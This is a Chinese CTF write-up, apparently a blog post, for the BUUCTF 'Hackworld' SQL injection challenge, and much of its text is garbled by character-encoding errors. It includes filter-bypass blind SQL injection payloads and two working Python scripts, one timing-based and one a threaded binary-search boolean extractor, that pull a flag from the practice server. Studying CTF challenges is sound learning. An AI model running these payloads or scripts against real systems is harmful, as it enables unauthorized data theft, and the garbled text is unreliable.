BUUCTF Hackworld

首先用sqlmap跑一跑沒(méi)有結(jié)果
嘗試輸入扰藕,測(cè)試注入點(diǎn)和過(guò)濾

1'  bool(false) 
1'# SQL Injection Checked.
1'%23  bool(false) 
1' %23  Injection Checked.
1%23  Hello, glzjin wants a girlfriend.

可以發(fā)現(xiàn),只要被過(guò)濾了就會(huì)顯示SQL Injection Checked芳撒,通過(guò)測(cè)試
過(guò)濾了and&&邓深、 or||、 空格 笔刹、# 芥备、for、limit

明顯的注入,但是過(guò)濾空格,*,%23%0a,limit,for等等,明顯的盲注
通過(guò)測(cè)試sleep((select(flag)from(flag)where(flag)like('f%'))like('f%'))可以成功延時(shí),構(gòu)造腳本
過(guò)濾空格,*,%23%0a,limit,for
后面再回頭想了一下,flag表就一條數(shù)據(jù),不能用limit也不需要用like構(gòu)造的這么復(fù)雜,可以構(gòu)造sleep(ascii(mid((select(flag)from(flag)),1,1))=102)
然后看glzjin師傅的wp卻是布爾型盲注
1^(cot(ascii(mid((select(flag)from(flag)),1,1))=102))^1
其中的cot函數(shù)的作用是求余切值,會(huì)得到0.6這樣,最后通過(guò)異或和四舍五入最后為1(我也不是很懂為什么一定要cot)

這里講一下like

例子
我們希望從上面的 "Persons" 表中選取居住在以 "N" 開(kāi)始的城市里的人:
我們可以使用下面的 SELECT 語(yǔ)句:
SELECT * FROM Persons
WHERE City LIKE 'N%'
提示:"%" 可用于定義通配符(模式中缺少的字母)舌菜。
sqlmap中也有用like代替=


圖片.png

圖片.png

代碼

import requests
def six_six_six(url):
    flag = ''
    while True:
        for i in 'abcdefghijklmnopqrstuvwxyz0123456789{}_':
            data = {'id':"sleep((select(flag)from(flag)where(flag)like('f%'))like('{i}%'))".format(i=flag+i)}
            print(data)
            try:
                requests.post(url=url,data=data,timeout=1)
            except:
                flag=flag+i
                print('[*]%s'%flag)
                break
        if i=='}':
            break
    print('[+]%s'%flag)

url = 'http://web43.buuoj.cn'
six_six_six(url)

還可以通過(guò)布爾盲注進(jìn)行,有兩種返回結(jié)果

-1=(ascii(substr((select    flag    from    flag),1,1))>120)

我比較菜雞萌壳,一開(kāi)始怎么也看不出這個(gè)腳本的意思,經(jīng)過(guò)一波測(cè)試

-1=(158=58) 返回Hello, glzjin wants a girlfriend.
-1=(58=58)返回Error Occured When Fetch Result.
-1=(158>58)返回Error Occured When Fetch Result.
-1=(158<58) 返回Hello, glzjin wants a girlfriend.
還是不太懂為什么這么構(gòu)造日月,
這里可以揣摩出大概意思是()里的判斷為true返回Error Occured When Fetch Result.(也就是flase)袱瓮;
()里的判斷為flase返回Hello, glzjin wants a girlfriend.也就是id=1查詢出的內(nèi)容(也就是true)
原因是-1=flase,返回1爱咬?
-1=true懂讯,返回flase?
這樣看來(lái)確實(shí)沒(méi)有必要用and和or了

上腳本

import requests, threading
z = {}
def fast(n):
    R, L = 126, 30
    m = 0
    while R >= L:
        m = (R + L) // 2
        #payload = '-1=(ascii(substr((select    flag    from    flag),{0},1))>{1})'.format(n, m)
        payload = '-1=(ascii(mid((select(flag)from(flag)),{0},1))>{1})'.format(n, m)
        data = {"id": payload}

        if "Hello, glzjin wants a girlfriend." not in requests.post("http://web43.buuoj.cn/index.php",data).content.decode('utf8'):
            payload = '-1=(ascii(substr((select flag    from    flag),{0},1))={1})'.format(n, m + 1)
            data = {"id": payload}
        #如果不返回Hello, glzjin wants a girlfriend台颠,語(yǔ)句為真褐望,ascii(flag[n])>m,構(gòu)造判斷ascii(flag[n])=m+1?
            if "Hello, glzjin wants a girlfriend." not in requests.post("http://web43.buuoj.cn/index.php",data).content.decode('utf8'):
                z[n] = chr(m + 1)
                print(chr(m + 1))
                break
            #如果不返回Hello, glzjin wants a girlfriend串前,語(yǔ)句為真瘫里,返回flag[n],break,跳出
            L = m + 1#直到R>L,這里L(fēng)每次增加到m+1,二分法
            print(m)

        else:
            payload = '-1=(ascii(substr((select flag    from    flag),{0},1))={1})'.format(n, m - 1)
            data = {"id": payload}
            if "Hello, glzjin wants a girlfriend." not in requests.post("http://web43.buuoj.cn/index.php",data).content.decode('utf8'):
                z[n] = chr(m - 1)
                print(chr(m - 1))
                break
            R = m - 1


a = []#創(chuàng)建threads數(shù)組a[]
for x in range(1, 39):#這里的39需要自己測(cè)試荡碾,從小到大測(cè)試
    a.append(threading.Thread(target=fast, args=(x,)))#創(chuàng)建線程,使用threading.Thread()方法谨读,在這個(gè)方法中調(diào)用fast方法target=fast,args方法對(duì)fast進(jìn)行傳參坛吁。 把創(chuàng)建好的線程裝到threads數(shù)組a[]中劳殖。
for x in a:
    x.start()#最后通過(guò)for循環(huán)遍歷線程數(shù)組铐尚。
for x in a:
    x.join()#join()的作用是,在子線程完成運(yùn)行之前哆姻,這個(gè)子線程的父線程將一直被阻塞宣增。注意:  join()方法的位置是在for循環(huán)外的,也就是說(shuō)必須等待for循環(huán)里的兩個(gè)進(jìn)程都結(jié)束后矛缨,才去執(zhí)行主進(jìn)程爹脾。
f = ''
for x in range(1, 39):
    f += z[x]
print(f)
print('ok')

參考文章
http://118.25.174.93/index.php/archives/694/#Hack%20World
http://cdusec.happyhacking.top/?post=78

最后編輯于
?著作權(quán)歸作者所有,轉(zhuǎn)載或內(nèi)容合作請(qǐng)聯(lián)系作者
  • 序言:七十年代末,一起剝皮案震驚了整個(gè)濱河市箕昭,隨后出現(xiàn)的幾起案子灵妨,更是在濱河造成了極大的恐慌,老刑警劉巖落竹,帶你破解...
    沈念sama閱讀 216,591評(píng)論 6 501
  • 序言:濱河連續(xù)發(fā)生了三起死亡事件泌霍,死亡現(xiàn)場(chǎng)離奇詭異,居然都是意外死亡述召,警方通過(guò)查閱死者的電腦和手機(jī)烹吵,發(fā)現(xiàn)死者居然都...
    沈念sama閱讀 92,448評(píng)論 3 392
  • 文/潘曉璐 我一進(jìn)店門(mén),熙熙樓的掌柜王于貴愁眉苦臉地迎上來(lái)桨武,“玉大人肋拔,你說(shuō)我怎么就攤上這事⊙剿幔” “怎么了凉蜂?”我有些...
    開(kāi)封第一講書(shū)人閱讀 162,823評(píng)論 0 353
  • 文/不壞的土叔 我叫張陵,是天一觀的道長(zhǎng)性誉。 經(jīng)常有香客問(wèn)我窿吩,道長(zhǎng),這世上最難降的妖魔是什么错览? 我笑而不...
    開(kāi)封第一講書(shū)人閱讀 58,204評(píng)論 1 292
  • 正文 為了忘掉前任纫雁,我火速辦了婚禮,結(jié)果婚禮上倾哺,老公的妹妹穿的比我還像新娘轧邪。我一直安慰自己,他們只是感情好羞海,可當(dāng)我...
    茶點(diǎn)故事閱讀 67,228評(píng)論 6 388
  • 文/花漫 我一把揭開(kāi)白布忌愚。 她就那樣靜靜地躺著,像睡著了一般却邓。 火紅的嫁衣襯著肌膚如雪硕糊。 梳的紋絲不亂的頭發(fā)上,一...
    開(kāi)封第一講書(shū)人閱讀 51,190評(píng)論 1 299
  • 那天,我揣著相機(jī)與錄音简十,去河邊找鬼檬某。 笑死,一個(gè)胖子當(dāng)著我的面吹牛螟蝙,可吹牛的內(nèi)容都是我干的恢恼。 我是一名探鬼主播,決...
    沈念sama閱讀 40,078評(píng)論 3 418
  • 文/蒼蘭香墨 我猛地睜開(kāi)眼胶逢,長(zhǎng)吁一口氣:“原來(lái)是場(chǎng)噩夢(mèng)啊……” “哼!你這毒婦竟也來(lái)了饰潜?” 一聲冷哼從身側(cè)響起初坠,我...
    開(kāi)封第一講書(shū)人閱讀 38,923評(píng)論 0 274
  • 序言:老撾萬(wàn)榮一對(duì)情侶失蹤,失蹤者是張志新(化名)和其女友劉穎彭雾,沒(méi)想到半個(gè)月后碟刺,有當(dāng)?shù)厝嗽跇?shù)林里發(fā)現(xiàn)了一具尸體,經(jīng)...
    沈念sama閱讀 45,334評(píng)論 1 310
  • 正文 獨(dú)居荒郊野嶺守林人離奇死亡薯酝,尸身上長(zhǎng)有42處帶血的膿包…… 初始之章·張勛 以下內(nèi)容為張勛視角 年9月15日...
    茶點(diǎn)故事閱讀 37,550評(píng)論 2 333
  • 正文 我和宋清朗相戀三年半沽,在試婚紗的時(shí)候發(fā)現(xiàn)自己被綠了。 大學(xué)時(shí)的朋友給我發(fā)了我未婚夫和他白月光在一起吃飯的照片吴菠。...
    茶點(diǎn)故事閱讀 39,727評(píng)論 1 348
  • 序言:一個(gè)原本活蹦亂跳的男人離奇死亡者填,死狀恐怖,靈堂內(nèi)的尸體忽然破棺而出做葵,到底是詐尸還是另有隱情占哟,我是刑警寧澤,帶...
    沈念sama閱讀 35,428評(píng)論 5 343
  • 正文 年R本政府宣布酿矢,位于F島的核電站榨乎,受9級(jí)特大地震影響,放射性物質(zhì)發(fā)生泄漏瘫筐。R本人自食惡果不足惜蜜暑,卻給世界環(huán)境...
    茶點(diǎn)故事閱讀 41,022評(píng)論 3 326
  • 文/蒙蒙 一、第九天 我趴在偏房一處隱蔽的房頂上張望策肝。 院中可真熱鬧肛捍,春花似錦、人聲如沸之众。這莊子的主人今日做“春日...
    開(kāi)封第一講書(shū)人閱讀 31,672評(píng)論 0 22
  • 文/蒼蘭香墨 我抬頭看了看天上的太陽(yáng)酝枢。三九已至恬偷,卻和暖如春,著一層夾襖步出監(jiān)牢的瞬間帘睦,已是汗流浹背袍患。 一陣腳步聲響...
    開(kāi)封第一講書(shū)人閱讀 32,826評(píng)論 1 269
  • 我被黑心中介騙來(lái)泰國(guó)打工坦康, 沒(méi)想到剛下飛機(jī)就差點(diǎn)兒被人妖公主榨干…… 1. 我叫王不留,地道東北人诡延。 一個(gè)月前我還...
    沈念sama閱讀 47,734評(píng)論 2 368
  • 正文 我出身青樓滞欠,卻偏偏與公主長(zhǎng)得像,于是被迫代替她去往敵國(guó)和親肆良。 傳聞我的和親對(duì)象是個(gè)殘疾皇子筛璧,可洞房花燭夜當(dāng)晚...
    茶點(diǎn)故事閱讀 44,619評(píng)論 2 354

推薦閱讀更多精彩內(nèi)容

  • sqlmap用戶手冊(cè) 說(shuō)明:本文為轉(zhuǎn)載,對(duì)原文中一些明顯的拼寫(xiě)錯(cuò)誤進(jìn)行修正惹恃,并標(biāo)注對(duì)自己有用的信息夭谤。 ======...
    wind_飄閱讀 2,044評(píng)論 0 5
  • http://192.168.136.131/sqlmap/mysql/get_int.php?id=1 當(dāng)給sq...
    xuningbo閱讀 10,301評(píng)論 2 22
  • DVWA實(shí)踐 Web漏洞原理 1. DVWA環(huán)境搭建 Warmpserver+DVWA 2. Brute Forc...
    JasonChiu17閱讀 3,750評(píng)論 0 19
  • SQLMAP作用 判斷可注入的參數(shù) 判斷可以用哪種SQL注入技術(shù)來(lái)注入 識(shí)別出哪種數(shù)據(jù)庫(kù) 根據(jù)用戶選擇,讀取哪些數(shù)...
    陸灑脫閱讀 3,722評(píng)論 1 4
  • 一套實(shí)用的滲透測(cè)試崗位面試題巫糙,你會(huì)嗎朗儒? 1.拿到一個(gè)待檢測(cè)的站,你覺(jué)得應(yīng)該先做什么参淹? 收集信息 whois醉锄、網(wǎng)站源...
    g0閱讀 4,830評(píng)論 0 9